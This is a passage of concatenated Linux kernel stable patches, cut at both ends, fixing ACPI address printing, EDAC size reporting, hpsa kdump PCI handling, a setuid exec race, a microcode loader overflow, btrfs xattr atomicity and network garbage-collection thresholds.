%u) R/W %u Address=%8.8X%8.8X\n", - bit_width, function, - ACPI_FORMAT_NATIVE_UINT(address))); + bit_width, function, ACPI_FORMAT_UINT64(address))); /* Decode the function parameter */ diff --git a/drivers/acpi/acpica/nsdump.c b/drivers/acpi/acpica/nsdump.c index d6651e701a71..20ae5b9bb9f2 100644 --- a/drivers/acpi/acpica/nsdump.c +++ b/drivers/acpi/acpica/nsdump.c @@ -333,8 +333,9 @@ acpi_ns_dump_one_object(acpi_handle obj_handle, space_id)); if (obj_desc->region.flags & AOPOBJ_DATA_VALID) { acpi_os_printf(" Addr %8.8X%8.8X Len %.4X\n", - ACPI_FORMAT_NATIVE_UINT - (obj_desc->region.address), + ACPI_FORMAT_UINT64(obj_desc-> + region. + address), obj_desc->region.length); } else { acpi_os_printf diff --git a/drivers/acpi/acpica/tbutils.c b/drivers/acpi/acpica/tbutils.c index 45c4474c35b6..5c67b2840c58 100644 --- a/drivers/acpi/acpica/tbutils.c +++ b/drivers/acpi/acpica/tbutils.c @@ -246,16 +246,12 @@ acpi_tb_print_table_header(acpi_physical_address address, { struct acpi_table_header local_header; - /* - * The reason that the Address is cast to a void pointer is so that we - * can use %p which will work properly on both 32-bit and 64-bit hosts. - */ if (ACPI_COMPARE_NAME(header->signature, ACPI_SIG_FACS)) { /* FACS only has signature and length fields */ - ACPI_INFO((AE_INFO, "%4.4s %p %05X", - header->signature, ACPI_CAST_PTR(void, address), + ACPI_INFO((AE_INFO, "%4.4s 0x%8.8X%8.8X %05X", + header->signature, ACPI_FORMAT_UINT64(address), header->length)); } else if (ACPI_COMPARE_NAME(header->signature, ACPI_SIG_RSDP)) { @@ -266,8 +262,8 @@ acpi_tb_print_table_header(acpi_physical_address address, header)->oem_id, ACPI_OEM_ID_SIZE); acpi_tb_fix_string(local_header.oem_id, ACPI_OEM_ID_SIZE); - ACPI_INFO((AE_INFO, "RSDP %p %05X (v%.2d %6.6s)", - ACPI_CAST_PTR (void, address), + ACPI_INFO((AE_INFO, "RSDP 0x%8.8X%8.8X %05X (v%.2d %6.6s)", + ACPI_FORMAT_UINT64(address), (ACPI_CAST_PTR(struct acpi_table_rsdp, header)-> revision > 0) ? ACPI_CAST_PTR(struct acpi_table_rsdp, @@ -281,8 +277,8 @@ acpi_tb_print_table_header(acpi_physical_address address, acpi_tb_cleanup_table_header(&local_header, header); ACPI_INFO((AE_INFO, - "%4.4s %p %05X (v%.2d %6.6s %8.8s %08X %4.4s %08X)", - local_header.signature, ACPI_CAST_PTR(void, address), + "%-4.4s 0x%8.8X%8.8X %05X (v%.2d %-6.6s %-8.8s %08X %-4.4s %08X)", + local_header.signature, ACPI_FORMAT_UINT64(address), local_header.length, local_header.revision, local_header.oem_id, local_header.oem_table_id, local_header.oem_revision, -- cgit v1.2.3 From 29e7fa7cb70a5f4b0e934f80949d1f1c6a6dc0a6 Mon Sep 17 00:00:00 2001 From: Jim Snow Date: Tue, 18 Nov 2014 14:51:09 +0100 Subject: sb_edac: Fix erroneous bytes->gigabytes conversion commit 8c009100295597f23978c224aec5751a365bc965 upstream. Signed-off-by: Jim Snow Signed-off-by: Lukasz Anaczkowski Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jiri Slaby Cc: Vinson Lee Signed-off-by: Greg Kroah-Hartman --- drivers/edac/sb_edac.c | 38 ++++++++++++++++++++------------------ 1 file changed, 20 insertions(+), 18 deletions(-) diff --git a/drivers/edac/sb_edac.c b/drivers/edac/sb_edac.c index f505e4ca6d58..3bdefbfb4377 100644 --- a/drivers/edac/sb_edac.c +++ b/drivers/edac/sb_edac.c @@ -623,7 +623,7 @@ static void get_memory_layout(const struct mem_ctl_info *mci) u32 reg; u64 limit, prv = 0; u64 tmp_mb; - u32 mb, kb; + u32 gb, mb; u32 rir_way; /* @@ -636,8 +636,9 @@ static void get_memory_layout(const struct mem_ctl_info *mci) pvt->tolm = GET_TOLM(reg); tmp_mb = (1 + pvt->tolm) >> 20; - mb = div_u64_rem(tmp_mb, 1000, &kb); - edac_dbg(0, "TOLM: %u.%03u GB (0x%016Lx)\n", mb, kb, (u64)pvt->tolm); + gb = div_u64_rem(tmp_mb, 1024, &mb); + edac_dbg(0, "TOLM: %u.%03u GB (0x%016Lx)\n", + gb, (mb*1000)/1024, (u64)pvt->tolm); /* Address range is already 45:25 */ pci_read_config_dword(pvt->pci_sad1, TOHM, @@ -645,8 +646,9 @@ static void get_memory_layout(const struct mem_ctl_info *mci) pvt->tohm = GET_TOHM(reg); tmp_mb = (1 + pvt->tohm) >> 20; - mb = div_u64_rem(tmp_mb, 1000, &kb); - edac_dbg(0, "TOHM: %u.%03u GB (0x%016Lx)\n", mb, kb, (u64)pvt->tohm); + gb = div_u64_rem(tmp_mb, 1024, &mb); + edac_dbg(0, "TOHM: %u.%03u GB (0x%016Lx)\n", + gb, (mb*1000)/1024, (u64)pvt->tohm); /* * Step 2) Get SAD range and SAD Interleave list @@ -668,11 +670,11 @@ static void get_memory_layout(const struct mem_ctl_info *mci) break; tmp_mb = (limit + 1) >> 20; - mb = div_u64_rem(tmp_mb, 1000, &kb); + gb = div_u64_rem(tmp_mb, 1024, &mb); edac_dbg(0, "SAD#%d %s up to %u.%03u GB (0x%016Lx) Interleave: %s reg=0x%08x\n", n_sads, get_dram_attr(reg), - mb, kb, + gb, (mb*1000)/1024, ((u64)tmp_mb) << 20L, INTERLEAVE_MODE(reg) ? "8:6" : "[8:6]XOR[18:16]", reg); @@ -702,9 +704,9 @@ static void get_memory_layout(const struct mem_ctl_info *mci) break; tmp_mb = (limit + 1) >> 20; - mb = div_u64_rem(tmp_mb, 1000, &kb); + gb = div_u64_rem(tmp_mb, 1024, &mb); edac_dbg(0, "TAD#%d: up to %u.%03u GB (0x%016Lx), socket interleave %d, memory interleave %d, TGT: %d, %d, %d, %d, reg=0x%08x\n", - n_tads, mb, kb, + n_tads, gb, (mb*1000)/1024, ((u64)tmp_mb) << 20L, (u32)TAD_SOCK(reg), (u32)TAD_CH(reg), @@ -727,10 +729,10 @@ static void get_memory_layout(const struct mem_ctl_info *mci) tad_ch_nilv_offset[j], ®); tmp_mb = TAD_OFFSET(reg) >> 20; - mb = div_u64_rem(tmp_mb, 1000, &kb); + gb = div_u64_rem(tmp_mb, 1024, &mb); edac_dbg(0, "TAD CH#%d, offset #%d: %u.%03u GB (0x%016Lx), reg=0x%08x\n", i, j, - mb, kb, + gb, (mb*1000)/1024, ((u64)tmp_mb) << 20L, reg); } @@ -752,10 +754,10 @@ static void get_memory_layout(const struct mem_ctl_info *mci) tmp_mb = RIR_LIMIT(reg) >> 20; rir_way = 1 << RIR_WAY(reg); - mb = div_u64_rem(tmp_mb, 1000, &kb); + gb = div_u64_rem(tmp_mb, 1024, &mb); edac_dbg(0, "CH#%d RIR#%d, limit: %u.%03u GB (0x%016Lx), way: %d, reg=0x%08x\n", i, j, - mb, kb, + gb, (mb*1000)/1024, ((u64)tmp_mb) << 20L, rir_way, reg); @@ -766,10 +768,10 @@ static void get_memory_layout(const struct mem_ctl_info *mci) ®); tmp_mb = RIR_OFFSET(reg) << 6; - mb = div_u64_rem(tmp_mb, 1000, &kb); + gb = div_u64_rem(tmp_mb, 1024, &mb); edac_dbg(0, "CH#%d RIR#%d INTL#%d, offset %u.%03u GB (0x%016Lx), tgt: %d, reg=0x%08x\n", i, j, k, - mb, kb, + gb, (mb*1000)/1024, ((u64)tmp_mb) << 20L, (u32)RIR_RNK_TGT(reg), reg); @@ -806,7 +808,7 @@ static int get_memory_error_data(struct mem_ctl_info *mci, u8 ch_way,sck_way; u32 tad_offset; u32 rir_way; - u32 mb, kb; + u32 mb, gb; u64 ch_addr, offset, limit, prv = 0; @@ -1022,10 +1024,10 @@ static int get_memory_error_data(struct mem_ctl_info *mci, continue; limit = RIR_LIMIT(reg); - mb = div_u64_rem(limit >> 20, 1000, &kb); + gb = div_u64_rem(limit >> 20, 1024, &mb); edac_dbg(0, "RIR#%d, limit: %u.%03u GB (0x%016Lx), way: %d\n", n_rir, - mb, kb, + gb, (mb*1000)/1024, limit, 1 << RIR_WAY(reg)); if (ch_addr <= limit) -- cgit v1.2.3 From 6a82524ebeb75562563192218e01462fb60c68f4 Mon Sep 17 00:00:00 2001 From: Tomas Henzl Date: Thu, 14 Aug 2014 16:12:39 +0200 Subject: hpsa: refine the pci enable/disable handling commit 132aa220b45d60e9b20def1e9d8be9422eed9616 upstream. When a second(kdump) kernel starts and the hard reset method is used the driver calls pci_disable_device without previously enabling it, so the kernel shows a warning - [ 16.876248] WARNING: at drivers/pci/pci.c:1431 pci_disable_device+0x84/0x90() [ 16.882686] Device hpsa disabling already-disabled device ... This patch fixes it, in addition to this I tried to balance also some other pairs of enable/disable device in the driver. Unfortunately I wasn't able to verify the functionality for the case of a sw reset, because of a lack of proper hw. Signed-off-by: Tomas Henzl Reviewed-by: Stephen M. Cameron Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman --- drivers/scsi/hpsa.c | 42 ++++++++++++++++++++++++++++-------------- 1 file changed, 28 insertions(+), 14 deletions(-) diff --git a/drivers/scsi/hpsa.c b/drivers/scsi/hpsa.c index 62ed744bbe06..28b6a2fde0ac 100644 --- a/drivers/scsi/hpsa.c +++ b/drivers/scsi/hpsa.c @@ -3898,10 +3898,6 @@ static int hpsa_kdump_hard_reset_controller(struct pci_dev *pdev) /* Save the PCI command register */ pci_read_config_word(pdev, 4, &command_register); - /* Turn the board off. This is so that later pci_restore_state() - * won't turn the board on before the rest of config space is ready. - */ - pci_disable_device(pdev); pci_save_state(pdev); /* find the first memory BAR, so we can find the cfg table */ @@ -3949,11 +3945,6 @@ static int hpsa_kdump_hard_reset_controller(struct pci_dev *pdev) goto unmap_cfgtable; pci_restore_state(pdev); - rc = pci_enable_device(pdev); - if (rc) { - dev_warn(&pdev->dev, "failed to enable device.\n"); - goto unmap_cfgtable; - } pci_write_config_word(pdev, 4, command_register); /* Some devices (notably the HP Smart Array 5i Controller) @@ -4448,6 +4439,23 @@ static int hpsa_init_reset_devices(struct pci_dev *pdev) if (!reset_devices) return 0; + /* kdump kernel is loading, we don't know in which state is + * the pci interface. The dev->enable_cnt is equal zero + * so we call enable+disable, wait a while and switch it on. + */ + rc = pci_enable_device(pdev); + if (rc) { + dev_warn(&pdev->dev, "Failed to enable PCI device\n"); + return -ENODEV; + } + pci_disable_device(pdev); + msleep(260); /* a randomly chosen number */ + rc = pci_enable_device(pdev); + if (rc) { + dev_warn(&pdev->dev, "failed to enable device.\n"); + return -ENODEV; + } + /* Reset the controller with a PCI power-cycle or via doorbell */ rc = hpsa_kdump_hard_reset_controller(pdev); @@ -4456,10 +4464,11 @@ static int hpsa_init_reset_devices(struct pci_dev *pdev) * "performant mode". Or, it might be 640x, which can't reset * due to concerns about shared bbwc between 6402/6404 pair. */ - if (rc == -ENOTSUPP) - return rc; /* just try to do the kdump anyhow. */ - if (rc) - return -ENODEV; + if (rc) { + if (rc != -ENOTSUPP) /* just try to do the kdump anyhow. */ + rc = -ENODEV; + goto out_disable; + } /* Now try to get the controller to respond to a no-op */ dev_warn(&pdev->dev, "Waiting for controller to respond to no-op\n"); @@ -4470,7 +4479,11 @@ static int hpsa_init_reset_devices(struct pci_dev *pdev) dev_warn(&pdev->dev, "no-op failed%s\n", (i < 11 ? "; re-trying" : "")); } - return 0; + +out_disable: + + pci_disable_device(pdev); + return rc; } static int hpsa_allocate_cmd_pool(struct ctlr_info *h) @@ -4613,6 +4626,7 @@ static void hpsa_undo_allocations_after_kdump_soft_reset(struct ctlr_info *h) iounmap(h->transtable); if (h->cfgtable) iounmap(h->cfgtable); + pci_disable_device(h->pdev); pci_release_regions(h->pdev); kfree(h); } -- cgit v1.2.3 From 31884f5463499bf023772ce94b003d40b5db08fc Mon Sep 17 00:00:00 2001 From: Tomas Henzl Date: Fri, 12 Sep 2014 14:44:15 +0200 Subject: hpsa: add missing pci_set_master in kdump path commit 859c75aba20264d87dd026bab0d0ca3bff385955 upstream. Add a call to pci_set_master(...) missing in the previous patch "hpsa: refine the pci enable/disable handling". Found thanks to Rob Elliot. Signed-off-by: Tomas Henzl Reviewed-by: Robert Elliott Tested-by: Robert Elliott Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman --- drivers/scsi/hpsa.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/scsi/hpsa.c b/drivers/scsi/hpsa.c index 28b6a2fde0ac..a6cdf17e27dc 100644 --- a/drivers/scsi/hpsa.c +++ b/drivers/scsi/hpsa.c @@ -4455,7 +4455,7 @@ static int hpsa_init_reset_devices(struct pci_dev *pdev) dev_warn(&pdev->dev, "failed to enable device.\n"); return -ENODEV; } - + pci_set_master(pdev); /* Reset the controller with a PCI power-cycle or via doorbell */ rc = hpsa_kdump_hard_reset_controller(pdev); -- cgit v1.2.3 From 9eae8ac6ab40b896b472c526afe7847e798f4f36 Mon Sep 17 00:00:00 2001 From: Jann Horn Date: Sun, 19 Apr 2015 02:48:39 +0200 Subject: fs: take i_mutex during prepare_binprm for set[ug]id executables commit 8b01fc86b9f425899f8a3a8fc1c47d73c2c20543 upstream. This prevents a race between chown() and execve(), where chowning a setuid-user binary to root would momentarily make the binary setuid root. This patch was mostly written by Linus Torvalds. Signed-off-by: Jann Horn Signed-off-by: Linus Torvalds Signed-off-by: Charles Williams Signed-off-by: Jiri Slaby Signed-off-by: Sheng Yong Signed-off-by: Greg Kroah-Hartman --- fs/exec.c | 76 ++++++++++++++++++++++++++++++++++++++++----------------------- 1 file changed, 48 insertions(+), 28 deletions(-) diff --git a/fs/exec.c b/fs/exec.c index dd6aa61c8548..acbd7ac2deda 100644 --- a/fs/exec.c +++ b/fs/exec.c @@ -1265,6 +1265,53 @@ static int check_unsafe_exec(struct linux_binprm *bprm) return res; } +static void bprm_fill_uid(struct linux_binprm *bprm) +{ + struct inode *inode; + unsigned int mode; + kuid_t uid; + kgid_t gid; + + /* clear any previous set[ug]id data from a previous binary */ + bprm->cred->euid = current_euid(); + bprm->cred->egid = current_egid(); + + if (bprm->file->f_path.mnt->mnt_flags & MNT_NOSUID) + return; + + if (current->no_new_privs) + return; + + inode = file_inode(bprm->file); + mode = ACCESS_ONCE(inode->i_mode); + if (!(mode & (S_ISUID|S_ISGID))) + return; + + /* Be careful if suid/sgid is set */ + mutex_lock(&inode->i_mutex); + + /* reload atomically mode/uid/gid now that lock held */ + mode = inode->i_mode; + uid = inode->i_uid; + gid = inode->i_gid; + mutex_unlock(&inode->i_mutex); + + /* We ignore suid/sgid if there are no mappings for them in the ns */ + if (!kuid_has_mapping(bprm->cred->user_ns, uid) || + !kgid_has_mapping(bprm->cred->user_ns, gid)) + return; + + if (mode & S_ISUID) { + bprm->per_clear |= PER_CLEAR_ON_SETID; + bprm->cred->euid = uid; + } + + if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { + bprm->per_clear |= PER_CLEAR_ON_SETID; + bprm->cred->egid = gid; + } +} + /* * Fill the binprm structure from the inode. * Check permissions, then read the first 128 (BINPRM_BUF_SIZE) bytes @@ -1273,39 +1320,12 @@ static int check_unsafe_exec(struct linux_binprm *bprm) */ int prepare_binprm(struct linux_binprm *bprm) { - umode_t mode; - struct inode * inode = file_inode(bprm->file); int retval; - mode = inode->i_mode; if (bprm->file->f_op == NULL) return -EACCES; - /* clear any previous set[ug]id data from a previous binary */ - bprm->cred->euid = current_euid(); - bprm->cred->egid = current_egid(); - - if (!(bprm->file->f_path.mnt->mnt_flags & MNT_NOSUID) && - !current->no_new_privs && - kuid_has_mapping(bprm->cred->user_ns, inode->i_uid) && - kgid_has_mapping(bprm->cred->user_ns, inode->i_gid)) { - /* Set-uid? */ - if (mode & S_ISUID) { - bprm->per_clear |= PER_CLEAR_ON_SETID; - bprm->cred->euid = inode->i_uid; - } - - /* Set-gid? */ - /* - * If setgid is set but no group execute bit then this - * is a candidate for mandatory locking, not a setgid - * executable. - */ - if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { - bprm->per_clear |= PER_CLEAR_ON_SETID; - bprm->cred->egid = inode->i_gid; - } - } + bprm_fill_uid(bprm); /* fill in binprm security blob */ retval = security_bprm_set_creds(bprm); -- cgit v1.2.3 From 66bd44e6a5c8f24805f94d19f943301d7a7f418e Mon Sep 17 00:00:00 2001 From: Quentin Casasnovas Date: Tue, 3 Feb 2015 13:00:22 +0100 Subject: x86/microcode/intel: Guard against stack overflow in the loader commit f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4 upstream. mc_saved_tmp is a static array allocated on the stack, we need to make sure mc_saved_count stays within its bounds, otherwise we're overflowing the stack in _save_mc(). A specially crafted microcode header could lead to a kernel crash or potentially kernel execution. Signed-off-by: Quentin Casasnovas Cc: "H. Peter Anvin" Cc: Fenghua Yu Link: http://lkml.kernel.org/r/1422964824-22056-1-git-send-email-quentin.casasnovas@oracle.com Signed-off-by: Borislav Petkov Signed-off-by: Jiri Slaby Signed-off-by: Sheng Yong Signed-off-by: Greg Kroah-Hartman --- arch/x86/kernel/microcode_intel_early.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/x86/kernel/microcode_intel_early.c b/arch/x86/kernel/microcode_intel_early.c index 2e9e12871c2b..a883942aee44 100644 --- a/arch/x86/kernel/microcode_intel_early.c +++ b/arch/x86/kernel/microcode_intel_early.c @@ -321,7 +321,7 @@ get_matching_model_microcode(int cpu, unsigned long start, unsigned int mc_saved_count = mc_saved_data->mc_saved_count; int i; - while (leftover) { + while (leftover && mc_saved_count < ARRAY_SIZE(mc_saved_tmp)) { mc_header = (struct microcode_header_intel *)ucode_ptr; mc_size = get_totalsize(mc_header); -- cgit v1.2.3 From 43f2e3615d181a7028ab797114c5960977669b2a Mon Sep 17 00:00:00 2001 From: Filipe Manana Date: Sun, 9 Nov 2014 08:38:39 +0000 Subject: Btrfs: make xattr replace operations atomic commit 5f5bc6b1e2d5a6f827bc860ef2dc5b6f365d1339 upstream. Replacing a xattr consists of doing a lookup for its existing value, delete the current value from the respective leaf, release the search path and then finally insert the new value. This leaves a time window where readers (getxattr, listxattrs) won't see any value for the xattr. Xattrs are used to store ACLs, so this has security implications. This change also fixes 2 other existing issues which were: *) Deleting the old xattr value without verifying first if the new xattr will fit in the existing leaf item (in case multiple xattrs are packed in the same item due to name hash collision); *) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't exist but we have have an existing item that packs muliple xattrs with the same name hash as the input xattr. In this case we should return ENOSPC. A test case for xfstests follows soon. Thanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace implementation. Reported-by: Alexandre Oliva Signed-off-by: Filipe Manana Signed-off-by: Chris Mason [shengyong: backport to 3.10 - FIX: CVE-2014-9710 - adjust context - ASSERT() was added v3.12, so we do check with if statement - set the first parameter of btrfs_item_nr() as NULL, because it is not used, and is removed in v3.13 ] Signed-off-by: Sheng Yong Signed-off-by: Greg Kroah-Hartman --- fs/btrfs/ctree.c | 2 +- fs/btrfs/ctree.h | 5 ++ fs/btrfs/dir-item.c | 10 +--- fs/btrfs/xattr.c | 159 +++++++++++++++++++++++++++++++++------------------- 4 files changed, 111 insertions(+), 65 deletions(-) diff --git a/fs/btrfs/ctree.c b/fs/btrfs/ctree.c index 7fb054ba1b60..82f14a1da542 100644 --- a/fs/btrfs/ctree.c +++ b/fs/btrfs/ctree.c @@ -2769,7 +2769,7 @@ done: */ if (!p->leave_spinning) btrfs_set_path_blocking(p); - if (ret < 0) + if (ret < 0 && !p->skip_release_on_error) btrfs_release_path(p); return ret; } diff --git a/fs/btrfs/ctree.h b/fs/btrfs/ctree.h index d6dd49b51ba8..c19444e412be 100644 --- a/fs/btrfs/ctree.h +++ b/fs/btrfs/ctree.h @@ -586,6 +586,7 @@ struct btrfs_path { unsigned int skip_locking:1; unsigned int leave_spinning:1; unsigned int search_commit_root:1; + unsigned int skip_release_on_error:1; }; /* @@ -3406,6 +3407,10 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans, int verify_dir_item(struct btrfs_root *root, struct extent_buffer *leaf, struct btrfs_dir_item *dir_item); +struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, + struct btrfs_path *path, + const char *name, + int name_len); /* orphan.c */ int btrfs_insert_orphan_item(struct btrfs_trans_handle *trans, diff --git a/fs/btrfs/dir-item.c b/fs/btrfs/dir-item.c index 79e594e341c7..6f61b9b1526f 100644 --- a/fs/btrfs/dir-item.c +++ b/fs/btrfs/dir-item.c @@ -21,10 +21,6 @@ #include "hash.h" #include "transaction.h" -static struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, - struct btrfs_path *path, - const char *name, int name_len); - /* * insert a name into a directory, doing overflow properly if there is a hash * collision. data_size indicates how big the item inserted should be. On @@ -383,9 +379,9 @@ struct btrfs_dir_item *btrfs_lookup_xattr(struct btrfs_trans_handle *trans, * this walks through all the entries in a dir item and finds one * for a specific name. */ -static struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, - struct btrfs_path *path, - const char *name, int name_len) +struct btrfs_dir_item *btrfs_match_dir_item_name(struct btrfs_root *root, + struct btrfs_path *path, + const char *name, int name_len) { struct btrfs_dir_item *dir_item; unsigned long name_ptr; diff --git a/fs/btrfs/xattr.c b/fs/btrfs/xattr.c index 05740b9789e4..9cf20d63cc99 100644 --- a/fs/btrfs/xattr.c +++ b/fs/btrfs/xattr.c @@ -27,6 +27,7 @@ #include "transaction.h" #include "xattr.h" #include "disk-io.h" +#include "locking.h" ssize_t __btrfs_getxattr(struct inode *inode, const char *name, @@ -89,7 +90,7 @@ static int do_setxattr(struct btrfs_trans_handle *trans, struct inode *inode, const char *name, const void *value, size_t size, int flags) { - struct btrfs_dir_item *di; + struct btrfs_dir_item *di = NULL; struct btrfs_root *root = BTRFS_I(inode)->root; struct btrfs_path *path; size_t name_len = strlen(name); @@ -101,84 +102,128 @@ static int do_setxattr(struct btrfs_trans_handle *trans, path = btrfs_alloc_path(); if (!path) return -ENOMEM; + path->skip_release_on_error = 1; + + if (!value) { + di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), + name, name_len, -1); + if (!di && (flags & XATTR_REPLACE)) + ret = -ENODATA; + else if (di) + ret = btrfs_delete_one_dir_name(trans, root, path, di); + goto out; + } + /* + * For a replace we can't just do the insert blindly. + * Do a lookup first (read-only btrfs_search_slot), and return if xattr + * doesn't exist. If it exists, fall down below to the insert/replace + * path - we can't race with a concurrent xattr delete, because the VFS + * locks the inode's i_mutex before calling setxattr or removexattr. + */ if (flags & XATTR_REPLACE) { - di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), name, - name_len, -1); - if (IS_ERR(di)) { - ret = PTR_ERR(di); - goto out; - } else if (!di) { + if(!mutex_is_locked(&inode->i_mutex)) { + pr_err("BTRFS: assertion failed: %s, file: %s, line: %d", + "mutex_is_locked(&inode->i_mutex)", __FILE__, + __LINE__); + BUG(); + } + di = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode), + name, name_len, 0); + if (!di) { ret = -ENODATA; goto out; } - ret = btrfs_delete_one_dir_name(trans, root, path, di); - if (ret) - goto out; btrfs_release_path(path); + di = NULL; + } + ret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode), + name, name_len, value, size); + if (ret == -EOVERFLOW) { /* - * remove the attribute + * We have an existing item in a leaf, split_leaf couldn't + * expand it. That item might have or not a dir_item that + * matches our target xattr, so lets check. */ - if (!value) - goto out; - } else { - di = btrfs_lookup_xattr(NULL, root, path, btrfs_ino(inode), - name, name_len, 0); - if (IS_ERR(di)) { - ret = PTR_ERR(di); + ret = 0; + btrfs_assert_tree_locked(path->nodes[0]); + di = btrfs_match_dir_item_name(root, path, name, name_len); + if (!di && !(flags & XATTR_REPLACE)) { + ret = -ENOSPC; goto out; } - if (!di && !value) - goto out; - btrfs_release_path(path); + } else if (ret == -EEXIST) { + ret = 0; + di = btrfs_match_dir_item_name(root, path, name, name_len); + if(!di) { /* logic error */ + pr_err("BTRFS: assertion failed: %s, file: %s, line: %d", + "di", __FILE__, __LINE__); + BUG(); + } + } else if (ret) { + goto out; } -again: - ret = btrfs_insert_xattr_item(trans, root, path, btrfs_ino(inode), - name, name_len, value, size); - /* - * If we're setting an xattr to a new value but the new value is say - * exactly BTRFS_MAX_XATTR_SIZE, we could end up with EOVERFLOW getting - * back from split_leaf. This is because it thinks we'll be extending - * the existing item size, but we're asking for enough space to add the - * item itself. So if we get EOVERFLOW just set ret to EEXIST and let - * the rest of the function figure it out. - */ - if (ret == -EOVERFLOW) + if (di && (flags & XATTR_CREATE)) { ret = -EEXIST; + goto out; + } - if (ret == -EEXIST) { - if (flags & XATTR_CREATE) - goto out; + if (di) { /* - * We can't use the path we already have since we won't have the - * proper locking for a delete, so release the path and - * re-lookup to delete the thing. + * We're doing a replace, and it must be atomic, that is, at + * any point in time we have either the old or the new xattr + * value in the tree. We don't want readers (getxattr and + * listxattrs) to miss a value, this is specially important + * for ACLs. */ - btrfs_release_path(path); - di = btrfs_lookup_xattr(trans, root, path, btrfs_ino(inode), - name, name_len, -1); - if (IS_ERR(di)) { - ret = PTR_ERR(di); - goto out; - } else if (!di) { - /* Shouldn't happen but just in case... */ - btrfs_release_path(path); - goto again; + const int slot = path->slots[0]; + struct extent_buffer *leaf = path->nodes[0]; + const u16 old_data_len = btrfs_dir_data_len(leaf, di); + const u32 item_size = btrfs_item_size_nr(leaf, slot); + const u32 data_size = sizeof(*di) + name_len + size; + struct btrfs_item *item; + unsigned long data_ptr; + char *ptr; + + if (size > old_data_len) { + if (btrfs_leaf_free_space(root, leaf) < + (size - old_data_len)) { + ret = -ENOSPC; + goto out; + } } - ret = btrfs_delete_one_dir_name(trans, root, path, di); - if (ret) - goto out; + if (old_data_len + name_len + sizeof(*di) == item_size) { + /* No other xattrs packed in the same leaf item. */ + if (size > old_data_len) + btrfs_extend_item(root, path, + size - old_data_len); + else if (size < old_data_len) + btrfs_truncate_item(root, path, data_size, 1); + } else { + /* There are other xattrs packed in the same item. */ + ret = btrfs_delete_one_dir_name(trans, root, path, di); + if (ret) + goto out; + btrfs_extend_item(root, path, data_size); + } + item = btrfs_item_nr(NULL, slot); + ptr = btrfs_item_ptr(leaf, slot, char); + ptr += btrfs_item_size(leaf, item) - data_size; + di = (struct btrfs_dir_item *)ptr; + btrfs_set_dir_data_len(leaf, di, size); + data_ptr = ((unsigned long)(di + 1)) + name_len; + write_extent_buffer(leaf, value, data_ptr, size); + btrfs_mark_buffer_dirty(leaf); + } else { /* - * We have a value to set, so go back and try to insert it now. + * Insert, and we had space for the xattr, so path->slots[0] is + * where our xattr dir_item is and btrfs_insert_xattr_item() + * filled it. */ - if (value) { - btrfs_release_path(path); - goto again; - } } out: btrfs_free_path(path); -- cgit v1.2.3 From 528555d05bde69c436bb0126ea95635da24d889e Mon Sep 17 00:00:00 2001 From: Steffen Klassert Date: Fri, 25 Oct 2013 10:21:32 +0200 Subject: xfrm: Increase the garbage collector threshold commit eeb1b73378b560e00ff1da2ef09fed9254f4e128 upstream. With the removal of the routing cache, we lost the option to tweak the garbage collector threshold along with the maximum routing cache size. So git commit 703fb94ec ("xfrm: Fix the gc threshold value for ipv4") moved back to a static threshold. It turned out that the current threshold before we start garbage collecting is much to small for some workloads, so increase it from 1024 to 32768. This means that we start the garbage collector if we have more than 32768 dst entries in the system and refuse new allocations if we are above 65536. Reported-by: Wolfgang Walter Signed-off-by: Steffen Klassert Cc: Stephen Hemminger Signed-off-by: Greg Kroah-Hartman --- net/ipv4/xfrm4_policy.c | 2 +- net/ipv6/xfrm6_policy.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/net/ipv4/xfrm4_policy.c b/net/ipv4/xfrm4_policy.c index 9a459be24af7..9b5b5ddf8cd4 100644 --- a/net/ipv4/xfrm4_policy.c +++ b/net/ipv4/xfrm4_policy.c @@ -235,7 +235,7 @@ static struct dst_ops xfrm4_dst_ops = { .destroy = xfrm4_dst_destroy, .ifdown = xfrm4_dst_ifdown, .local_out = __ip_local_out, - .gc_thresh = 1024, + .gc_thresh = 32768, }; static struct xfrm_policy_afinfo xfrm4_policy_afinfo = { diff --git a/net/ipv6/xfrm6_policy.c b/net/ipv6/xfrm6_policy.c index 23ed03d786c8..1c2e0c9ba8a1 100644 --- a/net/ipv6/xfrm6_policy.c +++ b/net/ipv6/xfrm6_policy.c @@ -284,7 +284,7 @@ static struct dst_ops xfrm6_dst_ops = { .destroy = xfrm6_dst_destroy, .ifdown = xfrm6_dst_ifdown, .local_out = __ip6_local_out, - .gc_thresh = 1024, + .gc_thresh = 32768, }; static struct xfrm_policy_afinfo xfrm6_policy_afinfo = { -- cgit v1.2.3 From ba310bc86f54169bf4ec414683bd61dcd2f8675f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Michal=20Kube=C4=8Dek?= Date: Thu, 1 Aug 2013 10:04:14 +0200 Subject: ipv6: prevent fib6_run_gc() contention commit 2ac3ac8f86f2fe065d746d9a9abaca867adec577 upstream. On a high-traffic router with many processors and many IPv6 dst entries, soft lockup in fib6_run_gc() can occur when number of entries reaches gc_thresh. This happens because fib6_run_gc() uses fib6_gc_lock to allow only one thread to run the garbage collector but ip6_dst_gc() doesn't update net->ipv6.ip6_rt_last_gc until fib6_run_gc() returns. On a system with many entries, this can take some time so that in the meantime, other threads pass the tests in ip6_dst_gc() (ip6_rt_last_gc is still not updated) and wait for the lock. They then have to run the garbage collector one after another which blocks them for quite long. Resolve this by replacing special value ~0UL of expire parameter to fib6_run_gc() by explicit "force" parameter to choose 